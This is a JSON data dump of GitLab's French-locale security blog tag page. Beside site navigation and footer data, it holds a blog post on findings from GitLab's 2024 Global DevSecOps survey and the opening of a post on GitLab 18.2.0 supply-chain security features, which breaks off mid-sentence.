[{"data":1,"prerenderedAt":1154},["ShallowReactive",2],{"/en-us/blog/tags/security/":3,"navigation-fr-fr":19,"banner-fr-fr":440,"footer-fr-fr":453,"security-tag-page-fr-fr":664},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"content":8,"config":10,"_id":12,"_type":13,"title":14,"_source":15,"_file":16,"_stem":17,"_extension":18},"/en-us/blog/tags/security","tags",false,"",{"tag":9,"tagSlug":9},"security",{"template":11},"BlogTag","content:en-us:blog:tags:security.yml","yaml","Security","content","en-us/blog/tags/security.yml","en-us/blog/tags/security","yml",{"_path":20,"_dir":21,"_draft":6,"_partial":6,"_locale":7,"data":22,"_id":436,"_type":13,"title":437,"_source":15,"_file":438,"_stem":439,"_extension":18},"/shared/fr-fr/main-navigation","fr-fr",{"logo":23,"freeTrial":28,"sales":33,"login":38,"items":43,"search":377,"minimal":413,"duo":427},{"config":24},{"href":25,"dataGaName":26,"dataGaLocation":27},"/fr-fr/","gitlab logo","header",{"text":29,"config":30},"Commencer un essai gratuit",{"href":31,"dataGaName":32,"dataGaLocation":27},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":34,"config":35},"Contacter l'équipe commerciale",{"href":36,"dataGaName":37,"dataGaLocation":27},"/fr-fr/sales/","sales",{"text":39,"config":40},"Connexion",{"href":41,"dataGaName":42,"dataGaLocation":27},"https://gitlab.com/users/sign_in/","sign in",[44,88,187,192,298,358],{"text":45,"config":46,"cards":48,"footer":71},"Plateforme",{"dataNavLevelOne":47},"platform",[49,55,63],{"title":45,"description":50,"link":51},"La plateforme DevSecOps alimentée par l'IA la plus complète",{"text":52,"config":53},"Découvrir notre plateforme",{"href":54,"dataGaName":47,"dataGaLocation":27},"/fr-fr/platform/",{"title":56,"description":57,"link":58},"GitLab Duo (IA)","Créez des logiciels plus rapidement en tirant parti de l'IA à chaque étape du développement",{"text":59,"config":60},"Découvrez GitLab Duo",{"href":61,"dataGaName":62,"dataGaLocation":27},"/fr-fr/gitlab-duo/","gitlab duo ai",{"title":64,"description":65,"link":66},"Choisir GitLab","10 raisons pour lesquelles les entreprises choisissent GitLab",{"text":67,"config":68},"En savoir plus",{"href":69,"dataGaName":70,"dataGaLocation":27},"/fr-fr/why-gitlab/","why gitlab",{"title":72,"items":73},"Démarrer avec",[74,79,84],{"text":75,"config":76},"Ingénierie de plateforme",{"href":77,"dataGaName":78,"dataGaLocation":27},"/fr-fr/solutions/platform-engineering/","platform engineering",{"text":80,"config":81},"Expérience développeur",{"href":82,"dataGaName":83,"dataGaLocation":27},"/fr-fr/developer-experience/","Developer experience",{"text":85,"config":86},"MLOps",{"href":87,"dataGaName":85,"dataGaLocation":27},"/fr-fr/topics/devops/the-role-of-ai-in-devops/",{"text":89,"left":90,"config":91,"link":93,"lists":97,"footer":169},"Produit",true,{"dataNavLevelOne":92},"solutions",{"text":94,"config":95},"Voir toutes les solutions",{"href":96,"dataGaName":92,"dataGaLocation":27},"/fr-fr/solutions/",[98,124,147],{"title":99,"description":100,"link":101,"items":106},"Automatisation","CI/CD et automatisation pour accélérer le déploiement",{"config":102},{"icon":103,"href":104,"dataGaName":105,"dataGaLocation":27},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[107,111,115,120],{"text":108,"config":109},"CI/CD",{"href":110,"dataGaLocation":27,"dataGaName":108},"/fr-fr/solutions/continuous-integration/",{"text":112,"config":113},"Développement assisté par l'IA",{"href":61,"dataGaLocation":27,"dataGaName":114},"AI assisted development",{"text":116,"config":117},"Gestion du code source",{"href":118,"dataGaLocation":27,"dataGaName":119},"/fr-fr/solutions/source-code-management/","Source Code Management",{"text":121,"config":122},"Livraison de logiciels automatisée",{"href":104,"dataGaLocation":27,"dataGaName":123},"Automated software delivery",{"title":125,"description":126,"link":127,"items":132},"Securité","Livrez du code plus rapidement sans compromettre la sécurité",{"config":128},{"href":129,"dataGaName":130,"dataGaLocation":27,"icon":131},"/fr-fr/solutions/security-compliance/","security and compliance","ShieldCheckLight",[133,138,143],{"text":134,"config":135},"Application Security Testing",{"href":136,"dataGaName":137,"dataGaLocation":27},"/solutions/application-security-testing/","Application security testing",{"text":139,"config":140},"Sécurité de la chaîne d'approvisionnement logicielle",{"href":141,"dataGaLocation":27,"dataGaName":142},"/fr-fr/solutions/supply-chain/","Software supply chain security",{"text":144,"config":145},"Software Compliance",{"href":146,"dataGaName":144,"dataGaLocation":27},"/solutions/software-compliance/",{"title":148,"link":149,"items":154},"Mesures",{"config":150},{"icon":151,"href":152,"dataGaName":153,"dataGaLocation":27},"DigitalTransformation","/fr-fr/solutions/visibility-measurement/","visibility and measurement",[155,159,164],{"text":156,"config":157},"Visibilité et mesures",{"href":152,"dataGaLocation":27,"dataGaName":158},"Visibility and Measurement",{"text":160,"config":161},"Gestion de la chaîne de valeur",{"href":162,"dataGaLocation":27,"dataGaName":163},"/fr-fr/solutions/value-stream-management/","Value Stream Management",{"text":165,"config":166},"Données d'analyse et informations clés",{"href":167,"dataGaLocation":27,"dataGaName":168},"/fr-fr/solutions/analytics-and-insights/","Analytics and insights",{"title":170,"items":171},"GitLab pour",[172,177,182],{"text":173,"config":174},"Entreprises",{"href":175,"dataGaLocation":27,"dataGaName":176},"/fr-fr/enterprise/","enterprise",{"text":178,"config":179},"PME",{"href":180,"dataGaLocation":27,"dataGaName":181},"/fr-fr/small-business/","small business",{"text":183,"config":184},"Secteur public",{"href":185,"dataGaLocation":27,"dataGaName":186},"/fr-fr/solutions/public-sector/","public sector",{"text":188,"config":189},"Tarifs",{"href":190,"dataGaName":191,"dataGaLocation":27,"dataNavLevelOne":191},"/fr-fr/pricing/","pricing",{"text":193,"config":194,"link":196,"lists":200,"feature":285},"Ressources",{"dataNavLevelOne":195},"resources",{"text":197,"config":198},"Afficher toutes les ressources",{"href":199,"dataGaName":195,"dataGaLocation":27},"/fr-fr/resources/",[201,234,257],{"title":202,"items":203},"Premiers pas",[204,209,214,219,224,229],{"text":205,"config":206},"Installation",{"href":207,"dataGaName":208,"dataGaLocation":27},"/fr-fr/install/","install",{"text":210,"config":211},"Guides de démarrage rapide",{"href":212,"dataGaName":213,"dataGaLocation":27},"/fr-fr/get-started/","quick setup checklists",{"text":215,"config":216},"Apprentissage",{"href":217,"dataGaLocation":27,"dataGaName":218},"https://university.gitlab.com/","learn",{"text":220,"config":221},"Documentation sur le produit",{"href":222,"dataGaName":223,"dataGaLocation":27},"https://docs.gitlab.com/","product documentation",{"text":225,"config":226},"Vidéos sur les bonnes pratiques",{"href":227,"dataGaName":228,"dataGaLocation":27},"/fr-fr/getting-started-videos/","best practice videos",{"text":230,"config":231},"Intégrations",{"href":232,"dataGaName":233,"dataGaLocation":27},"/fr-fr/integrations/","integrations",{"title":235,"items":236},"Découvrir",[237,242,247,252],{"text":238,"config":239},"Histoires de succès client",{"href":240,"dataGaName":241,"dataGaLocation":27},"/fr-fr/customers/","customer success stories",{"text":243,"config":244},"Blog",{"href":245,"dataGaName":246,"dataGaLocation":27},"/fr-fr/blog/","blog",{"text":248,"config":249},"Travail à distance",{"href":250,"dataGaName":251,"dataGaLocation":27},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":253,"config":254},"TeamOps",{"href":255,"dataGaName":256,"dataGaLocation":27},"/fr-fr/teamops/","teamops",{"title":258,"items":259},"Connecter",[260,265,270,275,280],{"text":261,"config":262},"Services GitLab",{"href":263,"dataGaName":264,"dataGaLocation":27},"/fr-fr/services/","services",{"text":266,"config":267},"Communauté",{"href":268,"dataGaName":269,"dataGaLocation":27},"/community/","community",{"text":271,"config":272},"Forum",{"href":273,"dataGaName":274,"dataGaLocation":27},"https://forum.gitlab.com/","forum",{"text":276,"config":277},"Événements",{"href":278,"dataGaName":279,"dataGaLocation":27},"/events/","events",{"text":281,"config":282},"Partenaires",{"href":283,"dataGaName":284,"dataGaLocation":27},"/partners/","partners",{"backgroundColor":286,"textColor":287,"text":288,"image":289,"link":293},"#2f2a6b","#fff","L'avenir du développement logiciel. Tendances et perspectives.",{"altText":290,"config":291},"carte promo The Source",{"src":292},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":294,"config":295},"Lire les articles les plus récents",{"href":296,"dataGaName":297,"dataGaLocation":27},"/fr-fr/the-source/","the source",{"text":299,"config":300,"lists":302},"Société",{"dataNavLevelOne":301},"company",[303],{"items":304},[305,310,316,318,323,328,333,338,343,348,353],{"text":306,"config":307},"À propos",{"href":308,"dataGaName":309,"dataGaLocation":27},"/fr-fr/company/","about",{"text":311,"config":312,"footerGa":315},"Emplois",{"href":313,"dataGaName":314,"dataGaLocation":27},"/jobs/","jobs",{"dataGaName":314},{"text":276,"config":317},{"href":278,"dataGaName":279,"dataGaLocation":27},{"text":319,"config":320},"Leadership",{"href":321,"dataGaName":322,"dataGaLocation":27},"/company/team/e-group/","leadership",{"text":324,"config":325},"Équipe",{"href":326,"dataGaName":327,"dataGaLocation":27},"/company/team/","team",{"text":329,"config":330},"Manuel",{"href":331,"dataGaName":332,"dataGaLocation":27},"https://handbook.gitlab.com/","handbook",{"text":334,"config":335},"Relations avec les investisseurs",{"href":336,"dataGaName":337,"dataGaLocation":27},"https://ir.gitlab.com/","investor relations",{"text":339,"config":340},"Centre de confiance",{"href":341,"dataGaName":342,"dataGaLocation":27},"/fr-fr/security/","trust center",{"text":344,"config":345},"Centre pour la transparence de l'IA",{"href":346,"dataGaName":347,"dataGaLocation":27},"/fr-fr/ai-transparency-center/","ai transparency center",{"text":349,"config":350},"Newsletter",{"href":351,"dataGaName":352,"dataGaLocation":27},"/company/contact/","newsletter",{"text":354,"config":355},"Presse",{"href":356,"dataGaName":357,"dataGaLocation":27},"/press/","press",{"text":359,"config":360,"lists":361},"Nous contacter",{"dataNavLevelOne":301},[362],{"items":363},[364,367,372],{"text":34,"config":365},{"href":36,"dataGaName":366,"dataGaLocation":27},"talk to sales",{"text":368,"config":369},"Aide",{"href":370,"dataGaName":371,"dataGaLocation":27},"/support/","get help",{"text":373,"config":374},"Portail clients GitLab",{"href":375,"dataGaName":376,"dataGaLocation":27},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":378,"login":379,"suggestions":386},"Fermer",{"text":380,"link":381},"Pour rechercher des dépôts et des projets, connectez-vous à",{"text":382,"config":383},"gitlab.com",{"href":41,"dataGaName":384,"dataGaLocation":385},"search login","search",{"text":387,"default":388},"Suggestions",[389,392,397,399,404,409],{"text":56,"config":390},{"href":61,"dataGaName":391,"dataGaLocation":385},"GitLab Duo (AI)",{"text":393,"config":394},"Suggestions de code (IA)",{"href":395,"dataGaName":396,"dataGaLocation":385},"/fr-fr/solutions/code-suggestions/","Code Suggestions (AI)",{"text":108,"config":398},{"href":110,"dataGaName":108,"dataGaLocation":385},{"text":400,"config":401},"GitLab sur AWS",{"href":402,"dataGaName":403,"dataGaLocation":385},"/fr-fr/partners/technology-partners/aws/","GitLab on AWS",{"text":405,"config":406},"GitLab sur Google Cloud ",{"href":407,"dataGaName":408,"dataGaLocation":385},"/fr-fr/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":410,"config":411},"Pourquoi utiliser GitLab ?",{"href":69,"dataGaName":412,"dataGaLocation":385},"Why GitLab?",{"freeTrial":414,"mobileIcon":419,"desktopIcon":424},{"text":415,"config":416},"Commencer votre essai gratuit",{"href":417,"dataGaName":32,"dataGaLocation":418},"https://gitlab.com/-/trials/new/","nav",{"altText":420,"config":421},"Icône GitLab",{"src":422,"dataGaName":423,"dataGaLocation":418},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":420,"config":425},{"src":426,"dataGaName":423,"dataGaLocation":418},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"freeTrial":428,"mobileIcon":432,"desktopIcon":434},{"text":429,"config":430},"En savoir plus sur GitLab Duo",{"href":61,"dataGaName":431,"dataGaLocation":418},"gitlab duo",{"altText":420,"config":433},{"src":422,"dataGaName":423,"dataGaLocation":418},{"altText":420,"config":435},{"src":426,"dataGaName":423,"dataGaLocation":418},"content:shared:fr-fr:main-navigation.yml","Main Navigation","shared/fr-fr/main-navigation.yml","shared/fr-fr/main-navigation",{"_path":441,"_dir":21,"_draft":6,"_partial":6,"_locale":7,"title":442,"titleMobile":442,"button":443,"config":448,"_id":450,"_type":13,"_source":15,"_file":451,"_stem":452,"_extension":18},"/shared/fr-fr/banner","La plateforme GitLab Duo Agent est maintenant disponible en version bêta publique !",{"text":444,"config":445},"Essayer la version bêta",{"href":446,"dataGaName":447,"dataGaLocation":27},"/fr-fr/gitlab-duo/agent-platform/","duo banner",{"layout":449},"release","content:shared:fr-fr:banner.yml","shared/fr-fr/banner.yml","shared/fr-fr/banner",{"_path":454,"_dir":21,"_draft":6,"_partial":6,"_locale":7,"data":455,"_id":660,"_type":13,"title":661,"_source":15,"_file":662,"_stem":663,"_extension":18},"/shared/fr-fr/main-footer",{"text":456,"source":457,"edit":463,"contribute":468,"config":473,"items":478,"minimal":651},"Git est une marque déposée de Software Freedom Conservancy et notre utilisation de « GitLab » est sous licence",{"text":458,"config":459},"Afficher le code source de la page",{"href":460,"dataGaName":461,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":464,"config":465},"Modifier cette page",{"href":466,"dataGaName":467,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":469,"config":470},"Veuillez contribuer",{"href":471,"dataGaName":472,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":474,"facebook":475,"youtube":476,"linkedin":477},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[479,502,556,588,622],{"title":45,"links":480,"subMenu":485},[481],{"text":482,"config":483},"Plateforme DevSecOps",{"href":54,"dataGaName":484,"dataGaLocation":462},"devsecops platform",[486],{"title":188,"links":487},[488,492,497],{"text":489,"config":490},"Voir les forfaits",{"href":190,"dataGaName":491,"dataGaLocation":462},"view plans",{"text":493,"config":494},"Pourquoi choisir GitLab Premium ?",{"href":495,"dataGaName":496,"dataGaLocation":462},"/fr-fr/pricing/premium/","why premium",{"text":498,"config":499},"Pourquoi choisir GitLab Ultimate ?",{"href":500,"dataGaName":501,"dataGaLocation":462},"/fr-fr/pricing/ultimate/","why ultimate",{"title":503,"links":504},"Solutions",[505,510,513,515,520,525,529,532,535,540,542,544,546,551],{"text":506,"config":507},"Transformation digitale",{"href":508,"dataGaName":509,"dataGaLocation":462},"/fr-fr/topics/digital-transformation/","digital transformation",{"text":511,"config":512},"Sécurité et conformité",{"href":136,"dataGaName":137,"dataGaLocation":462},{"text":121,"config":514},{"href":104,"dataGaName":105,"dataGaLocation":462},{"text":516,"config":517},"Développement agile",{"href":518,"dataGaName":519,"dataGaLocation":462},"/fr-fr/solutions/agile-delivery/","agile delivery",{"text":521,"config":522},"Transformation cloud",{"href":523,"dataGaName":524,"dataGaLocation":462},"/fr-fr/topics/cloud-native/","cloud transformation",{"text":526,"config":527},"SCM",{"href":118,"dataGaName":528,"dataGaLocation":462},"source code management",{"text":108,"config":530},{"href":110,"dataGaName":531,"dataGaLocation":462},"continuous integration & delivery",{"text":160,"config":533},{"href":162,"dataGaName":534,"dataGaLocation":462},"value stream management",{"text":536,"config":537},"GitOps",{"href":538,"dataGaName":539,"dataGaLocation":462},"/fr-fr/solutions/gitops/","gitops",{"text":173,"config":541},{"href":175,"dataGaName":176,"dataGaLocation":462},{"text":178,"config":543},{"href":180,"dataGaName":181,"dataGaLocation":462},{"text":183,"config":545},{"href":185,"dataGaName":186,"dataGaLocation":462},{"text":547,"config":548},"Formation",{"href":549,"dataGaName":550,"dataGaLocation":462},"/fr-fr/solutions/education/","education",{"text":552,"config":553},"Services financiers",{"href":554,"dataGaName":555,"dataGaLocation":462},"/fr-fr/solutions/finance/","financial services",{"title":193,"links":557},[558,560,562,564,567,569,572,574,576,578,580,582,584,586],{"text":205,"config":559},{"href":207,"dataGaName":208,"dataGaLocation":462},{"text":210,"config":561},{"href":212,"dataGaName":213,"dataGaLocation":462},{"text":215,"config":563},{"href":217,"dataGaName":218,"dataGaLocation":462},{"text":220,"config":565},{"href":222,"dataGaName":566,"dataGaLocation":462},"docs",{"text":243,"config":568},{"href":245,"dataGaName":246},{"text":570,"config":571},"Histoires de réussite client",{"href":240,"dataGaLocation":462},{"text":238,"config":573},{"href":240,"dataGaName":241,"dataGaLocation":462},{"text":248,"config":575},{"href":250,"dataGaName":251,"dataGaLocation":462},{"text":261,"config":577},{"href":263,"dataGaName":264,"dataGaLocation":462},{"text":253,"config":579},{"href":255,"dataGaName":256,"dataGaLocation":462},{"text":266,"config":581},{"href":268,"dataGaName":269,"dataGaLocation":462},{"text":271,"config":583},{"href":273,"dataGaName":274,"dataGaLocation":462},{"text":276,"config":585},{"href":278,"dataGaName":279,"dataGaLocation":462},{"text":281,"config":587},{"href":283,"dataGaName":284,"dataGaLocation":462},{"title":299,"links":589},[590,592,594,596,598,600,602,606,611,613,615,617],{"text":306,"config":591},{"href":308,"dataGaName":301,"dataGaLocation":462},{"text":311,"config":593},{"href":313,"dataGaName":314,"dataGaLocation":462},{"text":319,"config":595},{"href":321,"dataGaName":322,"dataGaLocation":462},{"text":324,"config":597},{"href":326,"dataGaName":327,"dataGaLocation":462},{"text":329,"config":599},{"href":331,"dataGaName":332,"dataGaLocation":462},{"text":334,"config":601},{"href":336,"dataGaName":337,"dataGaLocation":462},{"text":603,"config":604},"Sustainability",{"href":605,"dataGaName":603,"dataGaLocation":462},"/sustainability/",{"text":607,"config":608},"Diversité, inclusion et appartenance (DIB)",{"href":609,"dataGaName":610,"dataGaLocation":462},"/fr-fr/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":339,"config":612},{"href":341,"dataGaName":342,"dataGaLocation":462},{"text":349,"config":614},{"href":351,"dataGaName":352,"dataGaLocation":462},{"text":354,"config":616},{"href":356,"dataGaName":357,"dataGaLocation":462},{"text":618,"config":619},"Déclaration de transparence sur l'esclavage moderne",{"href":620,"dataGaName":621,"dataGaLocation":462},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":359,"links":623},[624,627,629,631,636,641,646],{"text":625,"config":626},"Échanger avec un expert",{"href":36,"dataGaName":37,"dataGaLocation":462},{"text":368,"config":628},{"href":370,"dataGaName":371,"dataGaLocation":462},{"text":373,"config":630},{"href":375,"dataGaName":376,"dataGaLocation":462},{"text":632,"config":633},"Statut",{"href":634,"dataGaName":635,"dataGaLocation":462},"https://status.gitlab.com/","status",{"text":637,"config":638},"Conditions d'utilisation",{"href":639,"dataGaName":640},"/terms/","terms of use",{"text":642,"config":643},"Déclaration de confidentialité",{"href":644,"dataGaName":645,"dataGaLocation":462},"/fr-fr/privacy/","privacy statement",{"text":647,"config":648},"Préférences en matière de cookies",{"dataGaName":649,"dataGaLocation":462,"id":650,"isOneTrustButton":90},"cookie preferences","ot-sdk-btn",{"items":652},[653,655,658],{"text":637,"config":654},{"href":639,"dataGaName":640,"dataGaLocation":462},{"text":656,"config":657},"Politique de confidentialité",{"href":644,"dataGaName":645,"dataGaLocation":462},{"text":647,"config":659},{"dataGaName":649,"dataGaLocation":462,"id":650,"isOneTrustButton":90},"content:shared:fr-fr:main-footer.yml","Main Footer","shared/fr-fr/main-footer.yml","shared/fr-fr/main-footer",{"allPosts":665,"featuredPost":1135,"totalPagesCount":1152,"initialPosts":1153},[666,694,715,739,762,785,805,826,846,865,887,907,926,947,967,987,1008,1029,1052,1073,1095,1115],{"_path":667,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":668,"content":676,"config":687,"_id":690,"_type":13,"title":691,"_source":15,"_file":692,"_stem":693,"_extension":18},"/fr-fr/blog/3-surprising-findings-from-our-2024-global-devsecops-survey",{"title":669,"description":670,"ogTitle":669,"ogDescription":670,"noIndex":6,"ogImage":671,"ogUrl":672,"ogSiteName":673,"ogType":674,"canonicalUrls":672,"schema":675},"Rapport Global DevSecOps 2024 : ce qu’il faut retenir ","Cette année, notre enquête montre comment les entreprises adaptent leurs priorités d'investissement face à la montée en puissance de l'IA.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1751993603/Blog/Hero%20Images/fy25-global-devsecops-report-blog-image.png","https://about.gitlab.com/blog/3-surprising-findings-from-our-2024-global-devsecops-survey","https://about.gitlab.com","article","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Rapport Global DevSecOps 2024 : ce qu’il faut retenir \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2024-06-25\",\n      }",{"title":669,"description":670,"authors":677,"heroImage":671,"date":679,"body":680,"category":681,"tags":682},[678],"Dave Steer","2024-06-25","[Notre enquête réalisée auprès de plus de 5 000 professionnels DevSecOps dans le monde entier](https://about.gitlab.com/fr-fr/developer-survey/) révèle que les entreprises réévaluent leurs priorités d'investissement à mesure qu'elles adoptent de nouvelles technologies telles que l'IA, tout en cherchant activement à améliorer l'expérience des développeurs et des développeuses. Explorons ensemble trois des résultats les plus surprenants révélés par notre enquête, ainsi que ce qu'ils pourraient signifier pour les équipes DevSecOps en 2024 et au-delà.\n\n## 1. L'IA met en lumière la complexité des chaînes d'outils\n\nCette année, notre étude s'est penchée sur l'impact spécifique de l'IA sur les perceptions des équipes DevSecOps concernant leurs chaînes d'outils actuelles. Les résultats ont été révélateurs, puisqu'il est désormais largement admis que l'IA peut simplifier le développement logiciel. Toutefois, selon notre enquête, les personnes interrogées utilisant actuellement l'IA semblent éprouver davantage de frustration à l'égard de leurs chaînes d'outils que ceux qui n'en utilisent pas.\n\nPrès des trois quarts (74 %) des répondants dont les entreprises utilisent actuellement l'IA pour le développement logiciel ont exprimé leur intention de consolider leur chaîne d'outils, contre 57 % de ceux qui n'y ont pas recours. Cependant, il n'y a pas de différence notable entre les deux groupes en ce qui concerne le nombre d'outils que les personnes interrogées déclarent réellement utiliser. En d'autres termes, les répondants qui utilisent actuellement l'IA n'utilisent pas plus d'outils, mais ont néanmoins un plus grand besoin de consolider leur chaîne d'outils.\n\nQuel est le lien entre l'IA et le besoin accru de consolidation ? Ce phénomène pourrait être attribué au fait que l'utilisation de diverses solutions ponctuelles avec différents modèles d'IA entraîne un chaos difficile à gérer (et à mesurer) tout au long du cycle de développement logiciel. Cela souligne les inefficacités des chaînes d'outils trop complexes et contre-productives. À mesure que les entreprises intensifient leurs investissements dans l'IA, la nécessité de consolider et de simplifier leur chaîne d'outils complexe pour accroître l'efficacité devient de plus en plus indispensable. Lorsque les chaînes d'outils sont simplifiées et rationalisées, les équipes tirent davantage de valeur de l'IA, car son intégration tout au long du cycle de développement logiciel devient alors plus facile.\n\nD'après l'un des répondants, « le trop grand nombre d'outils (y compris des outils d'IA) et les changements de contexte » représentent les plus grands défis du développement logiciel en 2024, tandis qu'un autre a souligné la « complexité du paysage fragmenté des outils à tous les niveaux ». \n\nUne troisième personne interrogee a mentionné les possibilités offertes par l'IA pour aider les équipes à relever les défis de la chaîne d'outils : « L'IA évolue rapidement, et notre chaîne d'outils actuelle peut être considérablement améliorée grâce aux intégrations d'outils basés sur l'IA. Nous devons mieux former les membres de l'équipe, afin qu'ils sachent comment intégrer efficacement l'IA à leurs tâches quotidiennes. »\n\n## 2. L'IA accélère l'intégration des équipes de développement, mais les entreprises restent préoccupées\n\nParallèlement à l'augmentation du nombre d'outils utilisés par les équipes, notre enquête révèle une augmentation significative du temps nécessaire pour l'intégration des développeurs et développeuses. Cette année, 70 % des répondants déclarent qu'il faut plus d'un mois pour les intégrer à l'entreprise avant qu'ils ne deviennent productifs, contre 66 % en 2023.\n\nS'il n'est pas surprenant que les [assistants de chat](https://about.gitlab.com/blog/gitlab-duo-chat-now-generally-available/) et les [suggestions de code](https://about.gitlab.com/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo/) alimentés par l'IA puissent accélérer l'intégration des équipes de développement, leur impact est spectaculaire. Les répondants qui utilisent l'IA pour le développement logiciel sont beaucoup plus enclins à affirmer que l'intégration des développeurs et développeuses prend généralement moins d'un mois. \n\nMalgré les avantages évidents de l'IA pour l'expérience des équipes de développement, les personnes interrogées ont exprimé quelques inquiétudes quant à son adoption rapide. Plus de la moitié (55 %) des répondants estiment que l'introduction de l'IA dans le cycle du développement logiciel est risquée, et 49 % craignent que l'IA ne les remplace dans leur rôle actuel au cours des cinq prochaines années.\n\nRachel Stephens, Senior Analyst chez RedMonk, indique qu' « Il faut prendre en compte la sécurité psychologique et la culture d'équipe, car elles influencent la façon dont les personnes perçoivent l'IA. Les individus peuvent redouter les implications de l'IA en matière de sécurité ou de confidentialité, mais ils peuvent également avoir l'impression d'être pris de court s'ils pensent que l'IA menace leurs moyens de subsistance. »\n\nSelon nous, la valeur de l'IA réside dans sa capacité à automatiser les tâches répétitives et à optimiser les processus en arrière-plan. Les équipes peuvent ainsi se concentrer sur la résolution de problèmes ambitieux, l'innovation et la création de valeur. Il ne s'agit pas de remplacer l'humain dans le développement logiciel, mais de le compléter. Pour résumer la situation, une personne interrogée lors de notre enquête évoque le fait que son équipe est confrontée au défi d'encourager et de maintenir la créativité, tout en s'appuyant sur l'IA. « N'oublions pas que l'IA est simplement un outil que les personnes créatives utilisent pour éliminer tout ce qui peut nuire à leur productivité. Elle ne remplace en aucun cas la créativité humaine. »\n\n## 3. Le cloud devient la norme\n\nDans notre enquête, le cloud computing est systématiquement identifié comme la priorité d'investissement informatique depuis plusieurs années. En 2022, le cloud computing figurait en deuxième position, après la sécurité. Il a ensuite pris la première place en 2023. Un changement attendu, compte tenu de la pression croissante exercée sur les entreprises pour qu'elles effectuent leur [transformation numérique](https://about.gitlab.com/blog/lockheed-martin-aws-gitlab/).\n\nToutefois, en 2024, l'importance du cloud computing a fortement diminué, se classant à la cinquième position cette année. Il est toutefois clair que le cloud n'a pas perdu toute son importance. En effet, nous avons constaté une augmentation significative du nombre de personnes interrogées qui déclarent exécuter 50 % ou plus de leurs applications dans le cloud. Ce chiffre indique que, bien que le cloud soit toujours critique pour de nombreuses entreprises, il est devenu la norme, alors même que la liste des priorités des équipes techniques et des responsables informatiques continue de s'allonger.\n\nD'après Rachel Stephens, du cabinet d'étude RedMonk, « les entreprises font face à des contraintes financières et doivent donc établir des priorités dans leurs investissements technologiques. Elles choisissent par exemple de réaffecter une partie de leur budget de transformation numérique, mais pas la totalité, à d'autres domaines, telle que l'IA. »\n\n## Téléchargez notre rapport \n\nPour en savoir plus sur l'IA, la sécurité, l'expérience des équipes de développement et bien d'autres sujets, [téléchargez notre rapport Global DevSecOps 2024](https://about.gitlab.com/fr-fr/developer-survey/).","insights",[683,684,685,9,686],"developer survey","DevSecOps","AI/ML","news",{"slug":688,"featured":6,"template":689},"3-surprising-findings-from-our-2024-global-devsecops-survey","BlogPost","content:fr-fr:blog:3-surprising-findings-from-our-2024-global-devsecops-survey.yml","3 Surprising Findings From Our 2024 Global Devsecops Survey","fr-fr/blog/3-surprising-findings-from-our-2024-global-devsecops-survey.yml","fr-fr/blog/3-surprising-findings-from-our-2024-global-devsecops-survey",{"_path":695,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":696,"content":700,"config":709,"_id":711,"_type":13,"title":712,"_source":15,"_file":713,"_stem":714,"_extension":18},"/fr-fr/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"config":697,"title":698,"description":699},{"noIndex":6},"Réconcilier visibilité et sécurité dans la chaîne logicielle","Découvrez comment tirer parti de GitLab 18.2.0 pour une couverture d'analyse de sécurité complète alliée à une visualisation claire des dépendances transitives.",{"category":9,"tags":701,"date":704,"title":698,"heroImage":705,"description":699,"authors":706,"body":708},[9,702,703],"features","product","2025-08-18","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749661926/Blog/Hero%20Images/security-patch-blog-image-r2-0506-700x400-fy25_2x.jpg",[707],"Salman Ladha","La dernière version de GitLab ([GitLab 18.2.0](https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/)) comprend deux nouvelles fonctionnalités majeures pour renforcer la sécurité de votre chaîne d'approvisionnement logicielle : l'inventaire de sécurité et la visualisation des chemins de dépendances.\n\nAvec l'inventaire de sécurité, les équipes de sécurité applicative ont une vue unifiée des risques et de la couverture des scans à l'échelle des groupes et projets GitLab. Elles bénéficient ainsi d'une meilleure visibilité pour identifier les zones non couvertes et prioriser les mesures correctives. La visualisation des chemins de dépendances, quant à elle, offre une vue détaillée du chemin par lequel les vulnérabilités open source sont introduites via la chaîne de dépendances. Ainsi, il devient plus facile d'identifier la correction la plus efficace.\n\nGrâce à ces deux fonctionnalités, les équipes de sécurité et de développement sont en mesure de renforcer la sécurité de leurs applications, puisqu'elles disposent d'une visibilité accrue sur les risques, d'un contexte clair pour choisir les mesures correctives à appliquer et de workflows intégrés qui favorisent la collaboration. Contrairement à d'autres solutions, tout est centralisé sur la plateforme que les développeurs utilisent déjà pour écrire, réviser et déployer leur code. Cette approche intégrée élimine le besoin d'intégrations complexes et offre une expérience DevSecOps fluide et unifiée.\n\n## L'open source : une surface d'attaque plus exposée\n\nLes applications modernes s'appuient [massivement](https://about.gitlab.com/fr-fr/developer-survey/) sur des 